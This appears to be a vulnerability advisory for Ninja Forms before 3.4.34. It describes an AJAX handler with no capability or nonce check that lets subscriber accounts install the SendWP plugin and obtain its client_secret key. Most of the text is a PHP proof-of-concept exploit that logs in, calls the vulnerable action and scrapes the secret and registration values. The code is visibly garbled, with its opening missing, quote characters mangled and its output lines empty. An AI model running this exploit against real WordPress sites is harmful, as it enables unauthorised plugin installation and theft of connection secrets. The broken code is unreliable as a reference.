Ninja Forms < 3.4.34 - Authenticated SendWP Plugin Installation and Client Secret Key Disclosure

The AJAX action, wp_ajax_ninja_forms_sendwp_remote_install_handler, did not have a capability check on it, nor did it have any nonce protection, therefore making it possible for low-level users, such as subscribers, to install and activate the SendWP plugin and retrieve the client_secret key needed to establish the SendWP connection while also installing the SendWP plugin.

PoC

Usage: php poc.php subscriber password Take the html output and use that to create a form that allows you to make the SendWP connection. $wp_user, ‘pwd’ => $wp_pass, ‘rememberme’ => ‘forever’, ‘wp-submit’ => ‘Log+In’, ]); $output = curl_exec($ch); curl_close($ch); // Set redirect url $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . ‘/wp-admin/admin-ajax.php’); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ ‘action’ => ‘ninja_forms_sendwp_remote_install’, ]); $content = curl_exec($ch); $pattern = ‘\'; $replacement = ‘’; preg_match(’/“client_secret”:“([^”]+)“/‘, $content, $matches); $match1 = $matches[1]; $client_secret = str_replace($pattern, $replacement, $match1); preg_match(’/“register_url”:”([^“]+)”/‘, $content, $matches); $match2 = $matches[1]; $register_url = str_replace($pattern, $replacement, $match2); preg_match(’/“client_name”:“([^”]+)“/‘, $content, $matches); $match3 = $matches[1]; $client_name = str_replace($pattern, $replacement, $match3); preg_match(’/“client_redirect”:”([^“]+)”/', $content, $matches); $match4 = $matches[1]; $client_redirect = str_replace($pattern, $replacement, $match4); echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; echo ‘’; ?>